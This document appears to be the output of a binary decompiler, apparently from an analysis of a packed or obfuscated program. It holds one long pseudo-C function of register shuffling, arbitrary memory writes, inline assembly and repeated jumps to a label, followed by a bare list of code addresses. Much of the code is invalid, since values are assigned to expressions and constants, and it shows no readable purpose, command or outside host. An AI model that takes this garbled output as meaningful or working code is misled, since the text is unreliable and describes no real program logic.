				__eflags =  *0x157785ee & 0x35ebdf3d;
				__esp = __esp +  *0x83b6db3b;
				_pop(__edi);
				__esi =  *0xcc5865c5;
				asm("adc [0x77dbe427], edx");
				 *0x4b6f6687 & 0x35ebdf3d = __esi -  *0x45ed6dc8;
				__eax = __eax - 1;
				_push( *0xd5c77219);
				__bh = __bh +  *0x6c8a68e3;
				_pop(__ecx);
				asm("lodsd");
				 *0xfc484b3d =  *0xfc484b3d ^ 0x35ebdf3d;
				 *0x7d95928a =  *0x7d95928a & __ch;
				__bh = __bh ^ 0x000000e5;
				__eflags =  *0xcdf8e3fd & 0x35ebdf3d;
				__edi = 0x6e010a19;
				__ebp = 0x4dbc5e1e ^  *0x3fe2d735;
				__eflags = 0x4dbc5e1e ^  *0x3fe2d735;
				asm("adc ebp, [0x2f8b3936]");
				if((0x4dbc5e1e ^  *0x3fe2d735) < 0) {
					goto L1;
				}
				 *0xb7df9170 =  *0xb7df9170 >> 0xaa;
				_push( *0xd278ec13);
				__edi = __edi |  *0x6f264f62;
				 *0xd5af2c6e =  *0xd5af2c6e + __eax;
				__eflags = __ecx & 0x252df19e;
				 *0xe858a891 =  *0xe858a891 >> 0x14;
				__eflags =  *0x42437497 - __eax;
				_pop( *0x73aabe31);
				__ecx = __ecx & 0xa943a331;
				__eflags = __ecx;
				asm("ror dword [0x728139a9], 0x17");
				if(__ecx > 0) {
					goto L1;
				}
				__edi =  *0xf1e1637f * 0x28b6;
				 *0x958e0ab1 = __dl;
				asm("rol byte [0xc0e84718], 0xb9");
				__ecx = __ecx | 0x82478b81;
				 *0xf705663e =  *0xf705663e << 0x6d;
				__eflags =  *0xc6fb8b9d & __ecx;
				if(( *0xc6fb8b9d & __ecx) >= 0) {
					goto L1;
				}
				__ebp =  *0x6ccf6b7d * 0x8e78;
				asm("sbb dl, [0xc377d6ca]");
				__eax = 0xa2840dcc;
				asm("rcl dword [0x4e1859bb], 0x30");
				__ebp =  *0x58685d69 * 0xe4eb;
				__esi = __esi - 0xa3f0bed3;
				 *0x58685d69 * 0xe4eb -  *0xfd10ae6c =  *0x58685d69 * 0x0000e4eb -  *0xfd10ae6c ^ 0x6cefe1d1;
				 *0xc635d8d3 =  *0xc635d8d3 >> 0x96;
				__eflags =  *0xb0264986 & 0x00000010;
				__eax = 0xa2840dcc -  *0x595bdfc0;
				_pop(__esi);
				__eflags =  *0x45134023 & __ebx;
				asm("sbb [0x8f05bcf2], bh");
				__ebp = 0x9cc9d731;
				asm("sbb esp, [0xe02fa705]");
				0x35ebdf3d -  *0x7f059cd1 =  *0x9cbebc13 & 0x9cc9d731;
				asm("ror dword [0x663ca705], 0xc5");
				 *0x9f059cca =  *0x9f059cca + 0x12;
				asm("adc eax, [0x9cc86233]");
				__edx = __edx | 0xaef26f05;
				_push( *0x40039cb8);
				asm("adc eax, 0xae043f2f");
				__eflags =  *0x4f43911 & 0xa2840dcc;
				asm("scasb");
				__cl = __cl - 0x88;
				__eax = 0xa2840dcc -  *0x595bdfc0 ^ 0x4804f43e;
				asm("rcl dword [0x4f4448e], 0x78");
				asm("scasd");
				__ebp = 0xffffffff993d91be;
				asm("movsb");
				__edx = __edx -  *0x9cc4b903;
				__esp = __esp +  *0xba133005;
				__esi = __esi |  *0xbd059cbe;
				asm("sbb [0x9cbcb305], edi");
				 *0x237dac07 =  *0x237dac07 | __esp;
				__esp = __esp - 1;
				asm("scasd");
				__al - 0xc6 =  *0x4e5e07c4 - 0xffffffff993d91be;
				 *0xc4a22bf9 =  *0xc4a22bf9 + __dl;
				asm("sbb ebx, 0x670107c4");
				_push(0xc29c0d9e);
				 *0xde9c07c4 =  *0xde9c07c4 << 0xdb;
				_t49 = __edx;
				__edx =  *0xbac16a0e;
				 *0xbac16a0e = _t49;
				 *0x677c08c4 =  *0x677c08c4 << 0xab;
				__eflags =  *0x677c08c4;
				if( *0x677c08c4 <= 0) {
					goto L1;
				}
				__ebp =  *0x4408ba7e * 0x607d;
				asm("adc [0xf5cb7608], al");
				asm("adc [0x63717537], esp");
				__ecx =  *0x6fa40860 * 0x4a17;
				__eflags = __esi -  *0x60763ed3;
				asm("rcl byte [0xf5db8e08], 0x53");
				__ebp = 1 +  *0x4408ba7e * 0x607d;
				asm("rcl dword [0x606f8581], 0x32");
				asm("sbb ecx, [0x78cd8509]");
				__ecx =  *0xe1e4d06b * 0x8d2e;
				asm("adc esi, [0x835b0a09]");
				__edi = __edi +  *0xbe8c3acb;
				 *0x22098d26 =  *0x22098d26 << 0x7f;
				_t50 = __esi;
				__esi =  *0x35c2a5fd;
				 *0x35c2a5fd = _t50;
				 *0x8d2dcfa8 =  *0x8d2dcfa8 ^ 0x00000010;
				asm("rcl byte [0xcdf280a], 0xdd");
				_pop(__esi);
				__eax = __eax |  *0x9621f283;
				_pop(__esp);
				 *0x2c30b3a =  *0x2c30b3a + __cl;
				 *0xdeb07324 =  *0xdeb07324 + __cl;
				_push( *0x819ffb9d);
				__ebx = 0xe5b00811;
				__eflags =  *0x40d77586 & __bh;
				if(( *0x40d77586 & __bh) > 0) {
					goto L1;
				}
				asm("sbb [0x62116077], eax");
				asm("adc edx, [0x5a29eb15]");
				 *0x756659e =  *0x756659e << 0x80;
				__edi = __edi +  *0xf4700dfb;
				 *0x9bb4c4ec =  *0x9bb4c4ec << 0x3a;
				asm("ror byte [0xc0f5ae14], 0x27");
				__al & 0x00000028 =  *0x159aa395 & __edi;
				 *0x57db5002 =  *0x57db5002 | __cl;
				 *0x61361fe5 =  *0x61361fe5 << 0xbd;
				asm("adc ebx, [0xa19cdb26]");
				__eflags = __bh - 0x12;
				asm("sbb edx, [0x57163689]");
				 *0x5bf3e189 =  *0x5bf3e189 << 0x6f;
				__al =  *0x67f80e1c;
				__bh = __bh - 0xb6;
				_t57 = __ch;
				__ch =  *0x90b98cb0;
				 *0x90b98cb0 = _t57;
				__eflags =  *0xa54c0bd4 & __esi;
				__ebx = 0xffffffffe5b00810;
				__eflags = 0xe5b00811;
				__esp = __esp - 1;
				asm("adc [0x803abe87], eax");
				if(0xe5b00811 != 0) {
					goto L1;
				}
				__eflags = 0xa2840dcc - 0x6116c7b;
				if(0xa2840dcc > 0x6116c7b) {
					goto L1;
				}
				__esp =  *0x8aee117f * 0x596e;
				__eflags =  *0xf794390c & __ch;
				asm("sbb cl, 0x2c");
				if(( *0xf794390c & __ch) < 0) {
					goto L1;
				}
				__eflags =  *0x40f7f478 & 0xe5b00811;
				__ecx = __ecx +  *0x7a96da3;
				_pop(__edi);
				asm("ror dword [0x60222e91], 0x32");
				 *0x8216c401 =  *0x8216c401 | 0xe5b00811;
				__eflags =  *0x8216c401;
				asm("sbb [0x109d3e0c], ah");
				if( *0x8216c401 > 0) {
					goto L1;
				}
				_push( *0x3f473577);
				__eflags =  *0x4415eb1 & 0x00000010;
				asm("ror dword [0x969f268b], 0x51");
				 *0xd96a9601 =  *0xd96a9601 >> 0x6c;
				 *0xdfa611e4 =  *0xdfa611e4 << 0xd;
				_push( *0xfdd55c05);
				__bh =  *0x7b5dc30a;
				 *0xd5904e81 =  *0xd5904e81 << 0x2f;
				asm("rol dword [0x1c9b7185], 0x38");
				__edx = __edx & 0xb1602e8c;
				asm("sbb eax, [0xbf0717f7]");
				__edx = __edx + 1;
				__eflags = __edx;
				__al = 0xe1;
				if(__edx >= 0) {
					goto L1;
				}
				__eax =  *0x464e4d71;
				__eflags = __ebp - 0x9ed7670f;
				_push(__esi);
				 *0x570a94 =  *0x570a94 >> 0xa4;
				__esi = __esi ^ 0x4a09cad6;
				asm("ror dword [0xc884100f], 0xd");
				 *0xe7a7696c =  *0xe7a7696c << 0x23;
				__eax =  *0x405bd06e;
				 *0x405bd06e =  *0x464e4d71;
				_push(__ebp);
				asm("adc ch, 0xb7");
				__ecx =  *0x1bc23464;
				 *0x40a07e22 =  *0x40a07e22 - __cl;
				__eax =  *0x405bd06e ^ 0xb9fbfb9d;
				__ecx =  *0x1bc23464 ^ 0x2b2d489d;
				__ebx = 0xffffffffe5b00810 &  *0xbc77f80f;
				__eax = ( *0x405bd06e ^ 0xb9fbfb9d) + 1;
				__ebx = 0xffffffffe5b00810 &  *0xbc77f80f & 0xab331b6f;
				__dl = 0x24;
				 *0x576fe1f3 =  *0x576fe1f3 - __ebp;
				__eflags =  *0x1b581694 & __ebp;
				__ah = __ah | 0x000000e2;
				__eflags = ( *0x1bc23464 ^ 0x2b2d489d) & 0x346a19ba;
				asm("movsb");
				asm("rcr dword [0x42ef70be], 0x47");
				__ebp = __ebp ^  *0xd504276f;
				asm("rcl dword [0xc58c7f3], 0xf");
				__eax = ( *0x405bd06e ^ 0xb9fbfb9d) + 2;
				asm("adc esp, 0x80fea909");
				__ebp = __ebp &  *0xf5e03135;
				asm("adc [0x87fe4abe], ecx");
				_push(__edx);
				 *0xd7673628 =  *0xd7673628 << 0xb9;
				__ebx =  *0x899d28d1;
				 *0x899d28d1 = 0xffffffffe5b00810 &  *0xbc77f80f & 0xab331b6f;
				__dl =  *0x37c215e7;
				__esi = __esi & 0xb109f4cf;
				__edx = __edx - 1;
				__ebp = __ebp + 1;
				__eflags = __ebp;
				if(__ebp > 0) {
					goto L1;
				}
				__ebx =  *0x1866fe7f * 0xb8ff;
				asm("adc [0xedc20e16], ebp");
				asm("stosb");
				__ah = __ah + 0xe7;
				__dh = 0x00000012 &  *0x3cda492a;
				asm("sbb eax, [0xca9b6f81]");
				__ecx = 0xbf116b8c;
				 *0x16dda5f1 =  *0x16dda5f1 + __eax;
				__al = 0x000000e1 |  *0x1a8040a;
				__cl = __cl & 0x00000032;
				__ebx = 1 +  *0x1866fe7f * 0xb8ff;
				__edx =  *0xcc975099;
				__eax =  *0x9e199b6a * 0xecb8;
				 *0x2cf0811d =  *0x2cf0811d | 0xbf116b8c;
				__eflags =  *0x2cf0811d;
				if( *0x2cf0811d < 0) {
					goto L1;
				}
				__eflags =  *0x60dc0a78 & __edx;
				asm("rol dword [0xd0e6b1f1], 0xbb");
				__esp = __esp + 1;
				 *0xea71424 =  *0xea71424 << 0xb3;
				__edi =  *0x67f025c1;
				__eflags =  *0xc6b429bd & __edi;
				if(( *0xc6b429bd & __edi) != 0) {
					goto L1;
				}
				 *0xae5f137a =  *0xae5f137a << 0x37;
				_pop(__edx);
				__ebx = __ebx -  *0x2dc7e836;
				__eflags = __ebx;
				if(__ebx <= 0) {
					goto L1;
				}
				__eflags =  *0xce2dff76 & __eax;
				if(( *0xce2dff76 & __eax) >= 0) {
					goto L1;
				}
				asm("sbb ebp, [0x1cefc73]");
				asm("stosb");
				asm("ror dword [0x920fe3c7], 0xd6");
				_push( *0x21f91803);
				 *0x6ba4c32a =  *0x6ba4c32a + 0xe1;
				 *0x66d6029e =  *0x66d6029e - __eax;
				__eax = __eax &  *0xc3aeb233;
				__eflags = __ebp -  *0x6be508fe;
				__edx = __edx - 1;
				__eflags = __edx;
				if(__edx <= 0) {
					goto L1;
				}
				__edi =  *0x7023d77e * 0x1560;
				__dl = __dl |  *0xe4966310;
				__eflags =  *0x82132523 - __edx;
				if( *0x82132523 <= __edx) {
					goto L1;
				}
				__eflags = __edi -  *0xbc6c6c76;
				__ebp = __ebp + 1;
				 *0x125028d =  *0x125028d >> 0xab;
				asm("cmpsw");
				__ebx = __ebx &  *0x101bfac5;
				asm("adc eax, [0x6a3a17c8]");
				_push( *0xe40f8f97);
				__eax = 0x699cfd9d;
				 *0x1b04f4bd = __esp;
				 *0xb60abc0a =  *0xb60abc0a - 0x12;
				asm("scasb");
				__eflags =  *0x5d653902 & __ah;
				_push(__esp);
				__cl =  *0x12b30b3a;
				if(( *0x5d653902 & __ah) > 0) {
					goto L1;
				}
				__eax =  *0x75b6987f * 0xd3b6;
				asm("rcl dword [0x18117994], 0xe8");
				_pop(__ebx);
				 *0xcc5b4ea2 =  *0xcc5b4ea2 >> 0x3b;
				__eflags = __edx -  *0xa1c6cf27;
				__edx = __edx + 0x68e2949b;
				asm("adc ebx, 0xf4214498");
				 *0xeaf704c6 =  *0xeaf704c6 + __bh;
				__eax =  *0x75b6987f * 0x0000d3b6 ^ 0x1bbe863d;
				__ebx = __ebx + 1;
				asm("rcl dword [0x52fabd9b], 0x5a");
				__eflags =  *0x1a51cea0 - __bh;
				__bh = __bh +  *0x7751502;
				asm("rol dword [0xf75e362e], 0x76");
				__ebp = __ebp & 0x7b62ecbe;
				__eflags = __ebp;
				asm("rcl dword [0x2bfe9707], 0x57");
				asm("adc edx, [0x4deb0e26]");
				if(__ebp >= 0) {
					goto L1;
				}
				__eflags =  *0x200bf71 & __ebx;
				if(( *0x200bf71 & __ebx) != 0) {
					goto L1;
				}
				asm("adc edi, [0xe2f88b7b]");
				__edx = __edx + 1;
				_pop(__eax);
				asm("cmpsw");
				__esp =  *0xe59f116b * 0xbca4;
				__eflags = __esp - 0xed6c3a09;
				__ebx = __ebx |  *0x2eafc0de;
				 *0x97c6c9b6 =  *0x97c6c9b6 << 0xb2;
				__ecx = 0xffffffff54c77927;
				__dh = __dh +  *0x64f601b6;
				__ecx = __edx;
				_push( *0x3c58d113);
				__edx = __edx ^  *0x490111bc;
				 *0xd2833dff =  *0xd2833dff | 0xbf116b8c;
				__eflags =  *0xd2833dff;
				asm("rol dword [0x7e8d8f03], 0x2a");
				if( *0xd2833dff != 0) {
					goto L1;
				}
				asm("rcr dword [0xdc97137a], 0xf");
				__eax = __eax ^  *0x149bb4cf;
				__ebx = __ebx - 1;
				 *0xc64d4495 =  *0xc64d4495 | __edi;
				__cl = __cl |  *0x68bff034;
				_push(0xbf116b8c);
				_push(__esi);
				_t82 = __bl;
				__bl =  *0x262c08a8;
				 *0x262c08a8 = _t82;
				__ah = __ah - 0xd7;
				__dh = __dh | 0x000000a0;
				asm("sbb esi, [0x16a19483]");
				__eflags =  *0xd5865f05 - __edx;
				__edx = __edx - 1;
				asm("ror dword [0x20456098], 0xfd");
				__eflags =  *0x1ffa1086 - __bh;
				__esp = __esp - 1;
				__eflags = __esi & 0x4492a639;
				asm("rcl byte [0xe43e9ca8], 0x7c");
				__eflags = __edx -  *0xa1042a15;
				asm("scasd");
				__dh = __dh | 0x0000002c;
				 *0xfc26c991 =  *0xfc26c991 - __esp;
				asm("lodsd");
				 *0x818f3901 = __esi;
				 *0x898f2334 =  *0x898f2334 >> 0xe2;
				__esp = __esp + 1;
				 *0x220c1b02 =  *0x220c1b02 | __bl;
				__eflags =  *0xbe61458d & __ebp;
				__ebx = __ebx & 0xa9e0aaee;
				__eflags = __ebx;
				if(__ebx > 0) {
					goto L1;
				}
				__edx =  *0x20a9bd7f * 0xb97a;
				_pop(__edi);
				asm("sbb dh, 0x82");
				 *0xb44704d5 = __ebp;
				 *0x4ab88594 =  *0x4ab88594 >> 0x73;
				__eflags =  *0xa4b7e4e2 & __dl;
				__esp = 0xdd6ba517;
				__eflags = __bh & 0x000000d7;
				asm("rcl dword [0x429685fb], 0x6a");
				__esi = __esi - 1;
				__ebx = __ebx + 1;
				__ecx = 0xffffffff54c77927 +  *0xf5bd6539;
				asm("rol byte [0x10b20cd2], 0x24");
				__eax = __eax - 0x2908b5c4;
				asm("adc esp, [0xbdc628ed]");
				_push( *0x2711a9ce);
				 *0x793df4f4 =  *0x793df4f4 - __ebx;
				__edx =  *0xf4101e25;
				 *0xf4101e25 =  *0x20a9bd7f * 0xb97a;
				__eflags =  *0xf4101e25 & 0x66e68c23;
				 *0x169bac0c =  *0x169bac0c << 0x3d;
				__eflags = __ebx -  *0x19e7c565;
				if(__ebx <  *0x19e7c565) {
					goto L1;
				}
				__ebx = __ebx &  *0x98e9c70;
				 *0x540a0212 =  *0x540a0212 & 0x00000012;
				asm("sbb ecx, [0x6e4b8611]");
				 *0x9ca84484 = __ah;
				 *0x618e43e =  *0x618e43e & __esi;
				__ebp = __ebp - 1;
				__eflags = __ebp;
				if(__ebp < 0) {
					goto L1;
				}
				asm("adc ecx, 0xf2040978");
				__ebp = __ebp - 1;
				__ecx =  *0xccabc31f;
				_pop(__esi);
				asm("rcr byte [0x351407e2], 0x25");
				__ecx =  *0xccabc31f |  *0xf704c6f4;
				asm("adc [0xbe863dea], edx");
				asm("adc ch, 0x14");
				 *0xc2b5019f =  *0xc2b5019f >> 0xaa;
				 *0x2f569c3d =  *0x2f569c3d - __edi;
				asm("rol dword [0xea084eeb], 0xb2");
				__edx =  *0xd77cb139;
				asm("adc [0xa19483a0], cl");
				 *0x64b3c912 =  *0x64b3c912 + __bh;
				__edi = __edi - 0xb6d1d895;
				asm("adc ebp, [0xf1030e1d]");
				__eflags = __ebx -  *0x12d4a6c7;
				__eax = 0xf2ae023b;
				__eflags =  *0x91a03238 & __dl;
				_pop(__eax);
				asm("adc [0xbdf168be], esi");
				__ebx =  *0x9ee6f06f;
				__edi = __edi |  *0xf88d0ad4;
				asm("ror dword [0xd5e720f], 0x6");
				 *0x3a6b6f16 &  *0x9ee6f06f =  *0xadf7ac10 & __ah;
				__ebp = __ebp & 0x115d24d5;
				__al = __al ^  *0xc030bee0;
				__esp =  *0x4f4bd69 * 0xd1b;
				_pop(__ecx);
				 *0x9c6559a9 = 0xf2ae023b;
				__ch = __ch ^  *0x136282ca;
				__eax = 0xf2ae023b -  *0xbc3c58d1;
				asm("adc [0x2c82280f], edx");
				__ebp = __ebp + 1;
				__eflags =  *0x7e23f2a0 - __dl;
				_push( *0x4f4bd69 * 0xd1b);
				__ecx = ( *0xccabc31f |  *0xf704c6f4) - 1;
				__edx =  *0xd77cb139 |  *0x6575ef25;
				asm("adc esi, [0x8b5e0ca3]");
				L1();
				asm("sbb edi, [0x375b0de8]");
				asm("stosb");
				asm("rcl byte [0xbd7fa9e0], 0xba");
				0x600d1da9 = 0xc855163f;
				__eax = 0xc855163f -  *0x8416282b;
				_t100 = __ch;
				__ch =  *0x8d1b5302;
				 *0x8d1b5302 = _t100;
				_pop(__edx);
				_push( *0xf441aa8f);
				asm("sbb [0x98f3cdee], ecx");
				__ebx =  *0x879f5960 * 0x2ab6;
				__dh = __dh -  *0x22fd9710;
				asm("rcl dword [0x17a8ac67], 0x7d");
				 *0xcd36ce07 =  *0xcd36ce07 ^ __edi;
				 *0x4f4bd69 * 0x121b = 0xb54d24d8 +  *0x4f4bd69 * 0x121b;
				 *0x5af9fe06 =  *0x5af9fe06 - __edi;
				__esi = __esi + 1;
				 *0xb9de42a0 =  *0xb9de42a0 >> 0x3a;
				asm("rol dword [0x9ee6f06f], 0xf6");
				asm("rol dword [0x671713d4], 0xc8");
				asm("sbb esi, 0x7c831513");
				__ecx = 0xb54d24d8 +  *0x4f4bd69 * 0x0000121b | 0xf38acef5;
				 *0xdcb0a69c =  *0x37c294a3;
				_push( *0x7510113f);
				asm("adc esi, 0xba68f3a1");
				 *0x9c0758e7 = 0xe1;
				_push( *0x2e23293e);
				_push( *0xd9ba601);
				asm("sbb ebp, [0x3d0f6187]");
				asm("stosb");
				__eflags =  *0x135a5ade - __edi;
				asm("sbb edi, 0xbc3c58d1");
				 *0x38680c0a =  *0x38680c0a << 0xbe;
				__edx =  *0x6539bdbd;
				 *0x6539bdbd =  *0xd77cb139 |  *0x6575ef25;
				_pop(__ebp);
				_push( *0x4f4bd69 * 0xd1b);
				__cl = __cl ^  *0x2ec30a3a;
				__cl = __cl | 0x000000c9;
				__ah = __ah ^ 0x000000a0;
				asm("sbb ebx, [0x5d6539d5]");
				_push( *0x4f4bd69 * 0xd1b);
				__eflags =  *0x8d1b5302 -  *0xcf7b133a;
				__ebx =  *0x879f5960 * 0x00002ab6 & 0x938f52fb;
				asm("adc esp, 0x46dafd0b");
				 *0xb1ad65d2 =  *0xb1ad65d2 ^ __al;
				 *0x2f833a95 = __ebx;
				__eflags =  *0x2f3e133f & __ebx;
				__edx =  *0x6539bdbd ^  *0x330fd6d9;
				__cl = __cl & 0x000000e3;
				__edi = __edi ^  *0x65db8bbb;
				_t104 = __ebx;
				__ebx =  *0xa3061036;
				 *0xa3061036 = _t104;
				__eflags =  *0x3f37c294 - 0x600d1da9;
				__eflags =  *0x6dc7e119 & __ebp;
				if(__eflags > 0) {
					goto L1;
				}
				_t107 = __esi;
				__esi =  *0x4804c277;
				 *0x4804c277 = _t107;
				asm("lodsd");
				_push( *0x4804c277);
				_push( *0x971f8c6c);
				if(__eflags != 0) {
					goto L1;
				}
				__edx = __edx ^  *0x627f5b7a;
				asm("sbb [0xc3e1a434], bl");
				 *0xbd558fd9 =  *0xbd558fd9 & __edi;
				__ebx = __ebx & 0x0acd7117;
				__eflags = __ebx;
				if(__ebx <= 0) {
					goto L1;
				}
				 *0x346f976 & __ebp = __bl & 0x00000002;
				asm("sbb [0xc1f27209], edi");
				 *0xb40a0ad9 =  *0xb40a0ad9 + __edi;
				_t112 = __ah;
				__ah =  *0x3e8bb7f9;
				 *0x3e8bb7f9 = _t112;
				 *0x12675732 =  *0x12675732 | __dl;
				asm("scasb");
				__dh = __dh |  *0x5ff41b84;
				 *0xa3ce3b4 =  *0xa3ce3b4 << 0x6d;
				asm("adc [0x27a417f7], edi");
				__eflags = __esp -  *0x9ee6f06f;
				__ebp = __ebp + 0x1b2f0bd4;
				__esi =  *0x3303c3c1;
				asm("adc bh, 0xb6");
				asm("sbb ebp, 0x117994d3");
				asm("adc [0xf1497d12], ch");
				asm("ror dword [0x9c28221], 0x58");
				__bl = __bl + 0x80;
				__esp =  *0xeb763e60 * 0x6fbd;
				__eflags =  *0xd49ee6f0 & __edi;
				__ecx = __ecx +  *0x7a4ff916;
				__bh = 0xe2;
				__ebx = __ebx + 1;
				__eflags = __dh & 0x000000a8;
				__ah = 0xd0;
				asm("rcr dword [0xe6cfd92d], 0x21");
				__eax = __eax - 1;
				__eflags = 0x600d1da9;
				return __eax;
			}

0x0002d792
0x0002d798
0x0002d7a5
0x0002d7ac
0x0002d7b2
0x0002d7b8
0x0002d7c5
0x0002d7cb
0x0002d7dd
0x0002d7e4
0x0002d7ea
0x0002d7f0
0x0002d7f3
0x0002d7fa
0x0002d716
0x0002d716
0x0002d722
0x0002d72e
0x0002d734
0x0002d73f
0x0002d740
0x0002d746
0x0002d74c
0x0002d752
0x0002d769
0x0002d770
0x0002d77d
0x0002d783
0x0002d78a
0x0002d78a
0x0002d78a
0x00000000
0x0002d78a
0x0002d800
0x0002d80a
0x0002d810
0x0002d810
0x0002d811
0x00000000
0x00000000
0x0002d817
0x0002d821
0x0002d82b
0x0002d832
0x0002d838
0x0002d83f
0x0002d845
0x0002d846
0x0002d84c
0x0002d853
0x0002d859
0x0002d859
0x0002d859
0x0002d85f
0x0002d865
0x0002d865
0x0002d865
0x0002d86b
0x0002d872
0x0002d878
0x0002d87e
0x0002d884
0x0002d885
0x0002d88b
0x0002d891
0x0002d897
0x0002d89d
0x0002d8a3
0x0002d8a4
0x0002d8a7
0x0002d8ad
0x0002d8b0
0x0002d8bc
0x0002d8c2
0x0002d8c8
0x0002d8c9
0x0002d8cf
0x0002d8d5
0x0002d8db
0x0002d8e1
0x0002d8e7
0x0002d8e7
0x0002d8e7
0x0002d8ed
0x0002d8f0
0x0002d8f6
0x0002d8f7
0x0002d8fe
0x0002d904
0x0002d90a
0x0002d910
0x0002d913
0x0002d91a
0x0002d920
0x0002d922
0x0002d923
0x0002d924
0x0002d927
0x0002d92d
0x0002d933
0x00000000
0x00000000
0x0002d939
0x0002d93f
0x0002d940
0x0002d946
0x0002d94c
0x0002d952
0x0002d952
0x0002d952
0x0002d958
0x00000000
0x00000000
0x0002d95e
0x0002d965
0x0002d96b
0x0002d96b
0x0002d971
0x0002d977
0x0002d97d
0x00000000
0x00000000
0x0002d983
0x0002d989
0x0002d98f
0x0002d995
0x0002d99a
0x0002d9a0
0x0002d9a5
0x0002d9a5
0x0002d9a5
0x0002d9ab
0x0002d9b1
0x0002d9b1
0x0002d9bb
0x0002d9bd
0x00000000
0x00000000
0x0002d9c3
0x0002d9cd
0x0002d9d3
0x0002d9d9
0x0002d9da
0x0002d9db
0x0002d9e1
0x0002d9e6
0x0002d9ec
0x0002d9ef
0x0002d9f5
0x0002d9fb
0x0002da01
0x0002da07
0x0002da0d
0x0002da13
0x0002da19
0x0002da23
0x0002da2a
0x0002da30
0x0002da31
0x0002da37
0x0002da3d
0x0002da44
0x0002da4a
0x0002da50
0x0002da57
0x0002da5e
0x0002da5f
0x0002da60
0x0002da66
0x0002da6c
0x0002da73
0x0002da7d
0x0002da7e
0x0002da84
0x0002da88
0x0002da89
0x0002da89
0x0002da89
0x0002da8f
0x0002da96
0x0002da9c
0x0002daa2
0x0002daa3
0x0002daaa
0x0002dab1
0x0002dab7
0x0002dabd
0x0002dac3
0x0002dac4
0x0002daca
0x0002dad0
0x0002dad6
0x0002dadc
0x0002dae2
0x0002dae3
0x0002daee
0x0002dafa
0x0002db00
0x0002db01
0x0002db07
0x0002db0d
0x0002db0e
0x0002db0f
0x0002db15
0x0002db1b
0x0002db1e
0x0002db24
0x0002db25
0x0002db25
0x0002db2b
0x0002db31
0x00000000
0x00000000
0x0002db37
0x0002db3e
0x0002db44
0x0002db4a
0x0002db50
0x0002db56
0x0002db5d
0x0002db63
0x0002db69
0x0002db69
0x0002db6f
0x0002db76
0x00000000
0x00000000
0x0002db7c
0x0002db86
0x0002db8c
0x0002db93
0x0002db99
0x0002dba0
0x0002dba6
0x00000000
0x00000000
0x0002dbac
0x0002dbb6
0x0002dbbc
0x0002dbc2
0x0002dbc9
0x0002dbd3
0x0002dbdf
0x0002dbe5
0x0002dbec
0x0002dbf2
0x0002dbf8
0x0002dbf9
0x0002dbff
0x0002dc05
0x0002dc0b
0x0002dc17
0x0002dc1d
0x0002dc24
0x0002dc2a
0x0002dc30
0x0002dc36
0x0002dc3c
0x0002dc41
0x0002dc47
0x0002dc48
0x0002dc4b
0x0002dc50
0x0002dc57
0x0002dc58
0x0002dc5e
0x0002dc5f
0x0002dc65
0x0002dc6b
0x0002dc71
0x0002dc77
0x0002dc7d
0x0002dc7e
0x0002dc81
0x0002dc87
0x0002dc8d
0x0002dc93
0x0002dc98
0x0002dc9f
0x0002dc9f
0x0002dc9f
0x0002dca5
0x0002dca5
0x0002dcac
0x00000000
0x00000000
0x0002dcb2
0x0002dcbc
0x0002dcc2
0x0002dcc8
0x0002dcd2
0x0002dcd8
0x0002dcdf
0x0002dce0
0x0002dce7
0x0002dced
0x0002dcf7
0x0002dcfd
0x0002dd03
0x0002dd0a
0x0002dd0a
0x0002dd0a
0x0002dd10
0x0002dd16
0x0002dd1d
0x0002dd1e
0x0002dd24
0x0002dd25
0x0002dd2b
0x0002dd31
0x0002dd37
0x0002dd3c
0x0002dd42
0x00000000
0x00000000
0x0002dd48
0x0002dd4e
0x0002dd54
0x0002dd5b
0x0002dd61
0x0002dd68
0x0002dd71
0x0002dd77
0x0002dd7d
0x0002dd84
0x0002dd8a
0x0002dd8d
0x0002dd93
0x0002dd9a
0x0002dd9f
0x0002dda2
0x0002dda2
0x0002dda2
0x0002dda8
0x0002ddae
0x0002ddae
0x0002ddaf
0x0002ddb0
0x0002ddb6
0x00000000
0x00000000
0x0002ddbc
0x0002ddc1
0x00000000
0x00000000
0x0002ddc7
0x0002ddd1
0x0002ddd7
0x0002ddda
0x00000000
0x00000000
0x0002dde0
0x0002dde7
0x0002dded
0x0002ddee
0x0002ddf5
0x0002ddf5
0x0002ddfb
0x0002de01
0x00000000
0x00000000
0x0002de07
0x0002de0d
0x0002de13
0x0002de1a
0x0002de21
0x0002de28
0x0002de2e
0x0002de34
0x0002de3b
0x0002de42
0x0002de48
0x0002de4e
0x0002de4e
0x0002de4f
0x0002de51
0x00000000
0x00000000
0x0002de57
0x0002de5c
0x0002de62
0x0002de63
0x0002de6a
0x0002de70
0x0002de77
0x0002de7e
0x0002de7e
0x0002de84
0x0002de85
0x0002de88
0x0002de8e
0x0002de94
0x0002de99
0x0002de9f
0x0002dea5
0x0002dea6
0x0002deaf
0x0002deb1
0x0002deb7
0x0002debd
0x0002dec0
0x0002dec6
0x0002dec7
0x0002dece
0x0002ded4
0x0002dedb
0x0002dedc
0x0002dee2
0x0002dee8
0x0002deee
0x0002deef
0x0002def6
0x0002def6
0x0002defc
0x0002df02
0x0002df08
0x0002df09
0x0002df09
0x0002df0a
0x00000000
0x00000000
0x0002df10
0x0002df1a
0x0002df20
0x0002df21
0x0002df24
0x0002df2a
0x0002df30
0x0002df36
0x0002df3c
0x0002df42
0x0002df45
0x0002df46
0x0002df4c
0x0002df56
0x0002df56
0x0002df5c
0x00000000
0x00000000
0x0002df62
0x0002df68
0x0002df6f
0x0002df70
0x0002df77
0x0002df7d
0x0002df83
0x00000000
0x00000000
0x0002df89
0x0002df90
0x0002df91
0x0002df91
0x0002df97
0x00000000
0x00000000
0x0002df9d
0x0002dfa3
0x00000000
0x00000000
0x0002dfa9
0x0002dfaf
0x0002dfb0
0x0002dfb7
0x0002dfbd
0x0002dfc3
0x0002dfc9
0x0002dfcf
0x0002dfd5
0x0002dfd5
0x0002dfd6
0x00000000
0x00000000
0x0002dfdc
0x0002dfe6
0x0002dfec
0x0002dff2
0x00000000
0x00000000
0x0002dff8
0x0002dffe
0x0002dfff
0x0002e006
0x0002e008
0x0002e00e
0x0002e014
0x0002e01a
0x0002e020
0x0002e026
0x0002e02c
0x0002e02d
0x0002e033
0x0002e034
0x0002e03a
0x00000000
0x00000000
0x0002e040
0x0002e04a
0x0002e051
0x0002e052
0x0002e059
0x0002e05f
0x0002e065
0x0002e06b
0x0002e071
0x0002e076
0x0002e077
0x0002e07e
0x0002e084
0x0002e08a
0x0002e092
0x0002e092
0x0002e098
0x0002e09f
0x0002e0a5
0x00000000
0x00000000
0x0002e0ab
0x0002e0b1
0x00000000
0x00000000
0x0002e0b7
